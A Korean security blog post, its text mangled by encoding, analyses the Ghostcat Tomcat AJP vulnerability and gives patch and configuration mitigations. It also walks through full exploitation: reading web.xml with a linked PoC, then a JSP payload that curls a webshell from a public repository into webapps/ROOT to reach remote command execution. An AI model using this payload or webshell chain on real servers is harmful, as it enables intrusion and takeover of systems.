ν°μ€ν 리 λ·°
κ°μ
Apache Tomcat 6,7,8,9 λ²μ μμ κΈ°λ³Έμ μΌλ‘ μ 곡νλ AJP(Apache Jserv Protocol) νλ‘ν μ½μ μ·¨μ½μ μ΄ λ°κ²¬λμμ΅λλ€. μ΄λ 2020λ 01μ 03μΌ μ€κ΅μ 보μμ μ²΄μΈ “μ°¨μ΄ ν΄ ν ν¬”μμ λ°κ²¬νμμΌλ©° CVSSμμ 9.8μ΄λΌλ λμ μ μλ₯Ό λ°μ λ§νΌ νκΈλ ₯ μ΄ λμ μ·¨μ½μ μ λλ€.
ν΄λΉ μ·¨μ½μ μ΄ μ‘΄μ¬ν κ²½μ° AJP νλ‘ν μ½μ ν΅ν΄ /webapps/ROOT λλ ν 리μ νμ νμΌλ€μ μ½μ μ μμΌλ©° μ λ‘λκ° μ‘΄μ¬ν κ²½μ° “μ격μ½λ μ€ν”κΉμ§ κ°λ₯ν΄μ§λλ€.
μ·¨μ½μ μ΄ λ°νλ ν 2020λ 2μ End of Service λλ 6.xλ²μ μ μ μΈν λͺ¨λ λ²μ μ ν¨μΉκ° μ΄λ£¨μ΄μ‘μΌλ νμ¬κΉμ§ Githubμ λ€μμ POCκ° μ‘΄μ¬νκΈ° λλ¬Έμ μ΄λ₯Ό μ μ©νλ 곡격 λΉλκ° κ³μ μ¦κ°ν κ²μΌλ‘ μμλ©λλ€.
μ리
Tomcatμμ AJP νλ‘ν μ½μ λͺμ λ μ λΆν° μ¬μ©λμ΄ μμΌλ©° HTTP νλ‘ν μ½μ μ±λ₯μ μ΅μ ν μν€κΈ° μν΄ Apache μΉ μλ²λ λ€λ₯Έ μΈμ€ν΄μ€μ λ€μν λ°μ΄ν°λ₯Ό κ΅ννκΈ° μν΄ μ¬μ©λμ΄μμ΅λλ€. AJPλ μ€μΉ ν κΈ°λ³Έμ μΌλ‘ 8009 ν¬νΈλ‘ νμ±νλκ³ μμΌλ©° ν΄λΉ ν¬νΈμ λν λͺ¨λ IP μ£Όμ(0.0.0.0)μ Listeningμ νλ κ²μ΄ λ¬Έμ κ° λμμ΅λλ€.
Tomcatμ΄ AJP μμ²μ λ°μ μ AjpProcessor.javaλ₯Ό νΈμΆνμ¬ μ΄λ₯Ό μ²λ¦¬νκ³ prepareRequest λ©μλλ₯Ό ν΅ν΄ AJP λ©μΈμ§ λ΄μ©μ μΆμΆνμ¬ Request κ°μ²΄μ Attribute μμ±μΌλ‘ μ€μ νλλ° μ΄λ λ΄μ©μ κ²μ¦νλ λ‘μ§μ΄ μ‘΄μ¬νμ§ μκΈ°μ 곡격μκ° μ§μ ν΄λ λλ μνλ κ²½λ‘μ νμΌμ μ½μ΄μ¬ μ μλλ‘ μ μ΄ν μ μκ² λ©λλ€.
/webapps/λλ ν 리μλ λͺ¨λ μΉ μ ν리μΌμ΄μ μ΄ μ μ₯λλ λλ ν λ¦¬λ‘ κΈ°λ³Έμ μΌλ‘ νμμ μ‘΄μ¬νλ /WEB-INF/λλ ν 리λ ν΄λΌμ΄μΈνΈμκ² μ κ·Όμ΄ λΆκ°λ₯νκ² μ€μ λμ΄ μμ΅λλ€.
server.xml νμΌμμ <Connector port=”8009” μμμ΄ μ£Όμμ²λ¦¬ μμ΄ νμ±νλμ΄μλ κ²μ νμΈν μ μμ΅λλ€. λν ν΄λΉ ν¬νΈλ₯Ό ν΅ν΄ μ κ·Ό μ κ²μ¦ μ μ°¨λ₯Ό κ±°μΉλ μ΅μ μΈ requiredSecret μ΄ μ‘΄μ¬νμ§ μμ΅λλ€.
ν΄λΌμ΄μΈνΈκ° μ κ·Όμ΄ λΆκ°λ₯ν web.xml νμΌμ μ½κΈ° μνμ½λλ₯Ό νμΈν΄λ³΄λ©΄ κΈ°λ³Έμ μΈ AJP 8009 ν¬νΈλ‘ μμ²μ μννκ³ μμ΅λλ€.
* POC μ°Έκ³ : https://github.com/00theway/Ghostcat-CNVD-2020-10487/blob/master/ajpShooter.py
ν΄λΉ POC μ½λλ₯Ό μ€νμν€κΈ° μν΄μ python3 λ²μ μ μ¬μ©ν΄μΌ λλ€. κ·Έλ μ§ μμ κ²½μ° νλ¨μ ν¨μλ€μ μ΄ν΄νμ§ λͺ»ν©λλ€.
λν κΈ°λ³Έ ν¬νΈμΈ AJP νλ‘ν μ½μ 8201μ²λΌ λ€λ₯Έ ν¬νΈλ‘ μ¬μ©ν΄λ ν¬νΈ μ€μΊλμ ν΅ν΄ μΆ©λΆν AJP νλ‘ν μ½μ ν¬νΈ μλ³μ ν μ μμ΅λλ€.
python3λ₯Ό μ¬μ©νμ¬ λμ μλ²μ μ£Όμμ 8009 ν¬νΈ λ° μ½μΌλ €λ/WEB-INF/web.xmlμ μ λ ₯ ν readλ₯Ό λΆμ¬μ€λλ€.
μΆλ ₯λ web.xml νμΌμ λλ€. μΉ μμμλ μ κ·Όμ΄ λΆκ°λ₯νμ§λ§ ν΄λΉ POCλ₯Ό ν΅ν΄ webapps λλ ν 리 νμμ μ‘΄μ¬νλ νκ²½μ€μ νμΌμ μ½μ μ μμ΅λλ€.
μ¬μ©λPOCμ½λμμλλͺ λ Ήμ shooterλΌλ λ³μμ λ°μ μ€ννκ³ μλ€. shooterμ read λͺ λ Ήμ λ°μ κ²½μ° index.txt ννλ‘ μ 보λ₯Ό κ°μ Έμ€λλ‘ μμ²νκ³ μμ΅λλ€.
AJP Request Header μ 보λ₯Ό νμΈν΄λ³΄λ©΄ μμ² uri μ 보λ₯Ό index.txt ννλ‘ servlet_pathλ₯Ό λ³κ²½νμ¬ μ±κ³΅μ μΌλ‘ λ΄λΆ λ΄μ©μ κ°μ Έμ€κ³ μμ΅λλ€.
<μλ κΈ°λ₯>
javax.servlet.include.request_uri = /mani-examples/jsp/included.jsp
javax.servlet.include.servlet_path = /jsp/included.jsp
ν μ€νΈλ₯Ό μν΄ μ λ‘λ νμ΄μ§λ₯Ό ꡬμΆνμ§ μλλΌλ λλ ν 리μ μ§μ μ λ‘λνμ¬ μ§νν μ μμ΅λλ€.
λμ μλ²μ νμ±νλ AJP ν¬νΈ νμΈν΄λ³΄λλ‘ νκ² μ΅λλ€. λ§μ½ μ 체μ μΈ ν¬νΈ μ€μΊλμ μν ν AJP ν¬νΈκ° μλ³λμ§ μλλ€λ©΄ -p μ΅μ μ μ¬μ©νμ¬ ν¬νΈλ₯Ό μ§μ νμ¬ νμΈνλ©΄ open μ 무λ₯Ό νμ ν μ μμ΅λλ€.
μ격μ½λλ₯Ό μ€ννκΈ° μν΄ μ¬μ©λ 165λ°μ΄νΈ ν¬κΈ°μ webshell μ½λλ€. curlμ -o μ΅μ μ ν΅ν΄ /webapps/ROOT/λλ ν 리μ cmd.jsp νμΌμ λ€μ΄λ‘λνλλ‘ νκ² μ΅λλ€.
POC μ½λ | <% Runtime.getRuntime().exec("cmd.exe /C curl -o ..\\webapps\\ROOT\\cmd.jsp https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp"); %> |
cmd.jsp μ½λλ₯Ό κ°μ Έμ¬ μμΉ | https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp |
ν΄λΉ μΉμ νμΌμ μλ² μ¬μ΄λ μ€ν¬λ¦½νΈ μΈμ΄λ‘ μμ±λμμ§λ§. txtννλ‘ μ λ‘λνμ¬ POCμ½λ λ΄μ©μ ν΅ν΄ λ³ννμ¬ μ€νν μ μμ΅λλ€.
ν΄λΉ νμΌμ λμ μλ²μ μ λ‘λμμΌλ³΄λλ‘ νκ² μ΅λλ€.
μ λ‘λκ° μ±κ³΅μ μΌλ‘ λ κ²μ νμΈν μ μμ΅λλ€. λ§μ½ λμ νμ΄μ§μμ μ λ‘λ μ νμ₯μλ₯Ό κ²μ¬νκ±°λ μ λ‘λ μ©λμ νμ΄νΈνκ² μ ννμ§ μμΌλ©΄ μ΄λ₯Ό μ°νν κ°λ₯μ±μ΄ μ‘΄μ¬ν©λλ€. 첫λ²μ§Έλ‘ μλ² μΈ‘μ μ λ¬ μ. jspννλ‘ μ λ¬ν νμκ° μμΌλ©° μ©λλ λ§μ΄ μ‘μλ¨Ήμ§ μκΈ° λλ¬Έμ λλ€.
*λμ OSκ° Linux κΈ°λ°μ΄λΌλ©΄ "wget" λͺ λ Ήμ ν΅ν΄ λ€μ΄λ‘λμμΌλ λ¨
ghostcat.txt μΉμμλ cmd.jspκ° /webapps/ROOT λλ ν 리μ λ€μ΄λ‘λ λλλ‘ μ€μ λμ΄ μμ΅λλ€. λ§μ½ μ±κ³΅μ μΌλ‘ λλ ν 리 κ²½λ‘λ₯Ό νμ νκ³ μ½κΈ°μ μ±κ³΅νλ€λ©΄ μμ²λΌ webshell μ½λκ° λνλ©λλ€.
/webapps/ROOT/ λλ ν 리μ cmd.jsp νμΌμ΄ μκΈ΄ κ²μ νμΈν μ μμ΅λλ€.
μ΄μ μ λ‘λλ ghostcat.txt μΉμμ μλ² μ¬μ΄λ μΈμ΄λ‘ μ€νλλλ‘ ν΄μΌ λ©λλ€. POCμ½λμμλ read λͺ λ Ήμ΄μ eval λͺ λ Ήμ΄λ₯Ό λ°μ μ½κΈ°/μ°κΈ° ννλ‘ μνλκ³ μμ΅λλ€.
POCμ½λμμλreadμλͺ λ Ήμ΄λ₯Ό shooter λ³μμ λ΄μ μννλ μ½λκ° μ‘΄μ¬ν©λλ€.
μμ μ§ννλ web.xmlμ μ½κΈ° μν΄μ shooter λ³μμ read λͺ λ Ήμ λ°κ³ index.txt ννλ‘ μ½κΈ°λ₯Ό μ§ννκ³ else μ¦evalλ‘ μ€νν κ²½μ° index.jspλ‘ μμ²νλλ‘ μννκΈ° μμ΅λλ€.
request_uri λsevlet_pathλΌλ μ€μ νμΌμ λ³λμ μΈμ¦κ³Όμ μμ΄ μ κ·Όν μ μκΈ° λλ¬Έμ μλμ include μ 보λ₯Ό μ°λ¦¬κ° μ λ‘λμν¨ λ°λλλ‘ μ μ΄ν μ μμ΅λλ€.
<μλ κΈ°λ₯>
javax.servlet.include.request_uri = /mani-examples/jsp/included.jsp
javax.servlet.include.servlet_path = /jsp/included.jsp
servlet_pathμ κ²½λ‘λ₯Ό μ λ‘λλ ghostcat.txtλ‘ λ°κΏμ μμ²νκ³ μμ² uri μ 보λ index.jsp ννλ‘ λ³νμν΄μΌλ‘μ¨ μλ² μ¬μ΄λ μΈμ΄ ννλ‘ μ€νλλλ‘ νκ³ μμ΅λλ€.
μ΄μ μ λ‘λμν¨ κ²½λ‘μμ cmd.jsp νμΌλ‘ μ κ·Όν΄λ³΄λ©΄ Commandλ₯Ό μ λ ₯ν μ μλ νΌμ΄ νμΈλλ€. windowsμμ μ¬μ©λλ μμ€ν λͺ λ Ήμ΄λ₯Ό μ λ ₯ν΄λ³΄λ©΄ μ±κ³΅μ μΌλ‘ μ€νλ©λλ€.
λμ λ°©μ
(1) μ΅μ 보μ ν¨μΉ
μ·¨μ½ν λ²μ |
보μ ν¨μΉ λ²μ |
ν¨μΉ μΌμ |
Apache Tomcat 6.x |
End of Service |
|
Apache Tomcat 7.0.0. ~ 7.0.99 |
Apache Tomcat 7.0.100 |
2020.02.14 |
Apache Tomcat 8.5.0 ~ 8.5.50 |
Apache Tomcat 8.5.51 |
2020.02.11 |
Apache Tomcat 9.0.0M1 ~ 9.0.30 |
Apache Tomcat 9.0.31 |
2020.02.11 |
보μ ν¨μΉκ° μ§νλ λ²μ μ κ²½μ° μ΄μ μ λ³λμ κ²μ¦ μμ΄ νμΌμ μ€ννλ μ·¨μ½μ μ getAllowedArbitratyRequestAttributesPattern() μ ν΅ν΄ κ²μ¦νλ κΈ°λ₯μ΄ μΆκ°λμμ΅λλ€.
# Linux νκ²½μμ ν°μΊ£ λ²μ νμΈ
(1) Tomcat μ /bin/λλ ν 리μμ -> ./version.sh μν
# cd /bin/
# ./version.sh
(2) Tomcat μ /bin/λλ ν 리μμ ν΄λΉ λͺ
λ Ήμ΄ μ€ν
# cd /bin/
# java –cp catalina.jar org.apache.catalina.util.ServerInfo μ€ν ν “Server number νμΈ”
(2) AJP νλ‘ν μ½ λΉνμ±ν
μλΉμ€ μ°¨μμμ μ΅μ 보μ ν¨μΉλ₯Ό μ§ννκΈ°κΉμ§ μ‘°κΈ μ€λ μκ°μ΄ νμν μλ μμΌλ©° λΉμ₯ μ§ννκΈ° νλ κ²½μ°λ μ‘΄μ¬ν©λλ€. μ΄λ΄ κ²½μ° μμμ μΌλ‘ λΌλ νμ±νλμ΄μλνλ‘ν μ½μ λΉνμ± λΉ μν€λ κ²μ΄ μ’μ΅λλ€.
server.xml νμΌμμ ν΄λΉ # <Connector port=”8009” protocol=”AJP”/1.3” redirectPort=”8443” /> λΆλΆμ μ£Όμμ²λ¦¬
(3) AJP νλ‘ν μ½μ μΈμ¦ ꡬν
# <Connector port=”8009” protocol=”AJP”/1.3” redirectPort=”8443” /> μ£Όμμ²λ¦¬
<Connector protocol=”AJP/1.3”
address” AJP/1.3 “
port=” 8009 “
redirectPort=” 8443 “
requiredSecret=” [AJPμΈμ¦μμ±]” />
server.xml νμΌμμ κΈ°μ‘΄ AJP λΌμΈμ μ£Όμ μ²λ¦¬νκ³ μΆκ°μ μΌλ‘ μΈμ¦μ ꡬνν μ μλ λ‘μ§μ μΆκ°ν ν μ¬μμνλ©΄ λ©λλ€.
'WEB' μΉ΄ν κ³ λ¦¬μ λ€λ₯Έ κΈ
Gophish(Phishing Framework) μ¬μ©λ² (1) | 2021.01.19 |
---|---|
Gophish(Phishing Framework) μ€μΉ (0) | 2021.01.18 |
λ²νΌ μ€λ²νλ‘μ°(Buffer Overflow) μ·¨μ½μ (0) | 2020.10.30 |
CSRF(Cross Site Request Forgery) μ·¨μ½μ (0) | 2020.10.29 |
FTP(File Transfer Protocol) μ·¨μ½μ 곡격 (0) | 2020.10.28 |